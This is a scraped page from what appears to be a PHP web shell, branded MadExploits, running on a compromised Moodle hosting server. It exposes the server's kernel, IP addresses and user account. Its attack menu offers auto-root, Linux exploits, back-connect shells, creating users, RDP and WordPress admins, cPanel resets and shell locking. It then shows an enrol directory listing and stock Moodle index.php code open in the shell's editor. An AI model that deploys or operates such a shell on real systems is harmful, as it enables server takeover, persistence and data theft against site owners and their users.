Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.219
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
enrol /
[ HOME SHELL ]
Name
Size
Permission
Action
category
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
cohort
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
fee
[ DIR ]
drwxr-xr-x
flatfile
[ DIR ]
drwxr-xr-x
guest
[ DIR ]
drwxr-xr-x
imsenterprise
[ DIR ]
drwxr-xr-x
ldap
[ DIR ]
drwxr-xr-x
lti
[ DIR ]
drwxr-xr-x
manual
[ DIR ]
drwxr-xr-x
meta
[ DIR ]
drwxr-xr-x
mnet
[ DIR ]
drwxr-xr-x
paypal
[ DIR ]
drwxr-xr-x
self
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
yui
[ DIR ]
drwxr-xr-x
README.txt
245
B
-rw-r--r--
ajax.php
5.37
KB
-rw-r--r--
bulkchange_forms.php
4.4
KB
-rw-r--r--
editenrolment.php
3.94
KB
-rw-r--r--
editenrolment_form.php
3.36
KB
-rw-r--r--
editinstance.php
3.43
KB
-rw-rw-r--
editinstance_form.php
2.73
KB
-rw-r--r--
externallib.php
67.72
KB
-rw-rw-r--
index.php
4.13
KB
-rw-r--r--
instances.php
12.91
KB
-rw-rw-r--
locallib.php
60.36
KB
-rw-r--r--
otherusers.php
3.69
KB
-rw-rw-r--
renderer.php
24.47
KB
-rw-rw-r--
test_settings.php
2.39
KB
-rw-r--r--
unenroluser.php
3.19
KB
-rw-r--r--
upgrade.txt
5.75
KB
-rw-rw-r--
users_forms.php
6.94
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This page shows all course enrolment options for current user. * * @package core_enrol * @copyright 2010 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require('../config.php'); require_once("$CFG->libdir/formslib.php"); $id = required_param('id', PARAM_INT); $returnurl = optional_param('returnurl', 0, PARAM_LOCALURL); if (!isloggedin()) { $referer = get_local_referer(); if (empty($referer)) { // A user that is not logged in has arrived directly on this page, // they should be redirected to the course page they are trying to enrol on after logging in. $SESSION->wantsurl = "$CFG->wwwroot/course/view.php?id=$id"; } // do not use require_login here because we are usually coming from it, // it would also mess up the SESSION->wantsurl redirect(get_login_url()); } $course = $DB->get_record('course', array('id'=>$id), '*', MUST_EXIST); $context = context_course::instance($course->id, MUST_EXIST); // Everybody is enrolled on the frontpage if ($course->id == SITEID) { redirect("$CFG->wwwroot/"); } if (!$course->visible && !has_capability('moodle/course:viewhiddencourses', context_course::instance($course->id))) { print_error('coursehidden'); } $PAGE->set_course($course); $PAGE->set_pagelayout('incourse'); $PAGE->set_url('/enrol/index.php', array('id'=>$course->id)); // do not allow enrols when in login-as session if (\core\session\manager::is_loggedinas() and $USER->loginascontext->contextlevel == CONTEXT_COURSE) { print_error('loginasnoenrol', '', $CFG->wwwroot.'/course/view.php?id='.$USER->loginascontext->instanceid); } // Check if user has access to the category where the course is located. if (!core_course_category::can_view_course_info($course) && !is_enrolled($context, $USER, '', true)) { print_error('coursehidden', '', $CFG->wwwroot . '/'); } // get all enrol forms available in this course $enrols = enrol_get_plugins(true); $enrolinstances = enrol_get_instances($course->id, true); $forms = array(); foreach($enrolinstances as $instance) { if (!isset($enrols[$instance->enrol])) { continue; } $form = $enrols[$instance->enrol]->enrol_page_hook($instance); if ($form) { $forms[$instance->id] = $form; } } // Check if user already enrolled if (is_enrolled($context, $USER, '', true)) { if (!empty($SESSION->wantsurl)) { $destination = $SESSION->wantsurl; unset($SESSION->wantsurl); } else { $destination = "$CFG->wwwroot/course/view.php?id=$course->id"; } redirect($destination); // Bye! } $PAGE->set_title($course->shortname); $PAGE->set_heading($course->fullname); $PAGE->navbar->add(get_string('enrolmentoptions','enrol')); echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('enrolmentoptions','enrol')); $courserenderer = $PAGE->get_renderer('core', 'course'); echo $courserenderer->course_info_box($course); //TODO: find if future enrolments present and display some info foreach ($forms as $form) { echo $form; } if (!$forms) { if (isguestuser()) { notice(get_string('noguestaccess', 'enrol'), get_login_url()); } else if ($returnurl) { notice(get_string('notenrollable', 'enrol'), $returnurl); } else { $url = get_local_referer(false); if (empty($url)) { $url = new moodle_url('/index.php'); } notice(get_string('notenrollable', 'enrol'), $url); } } echo $OUTPUT->footer();
Close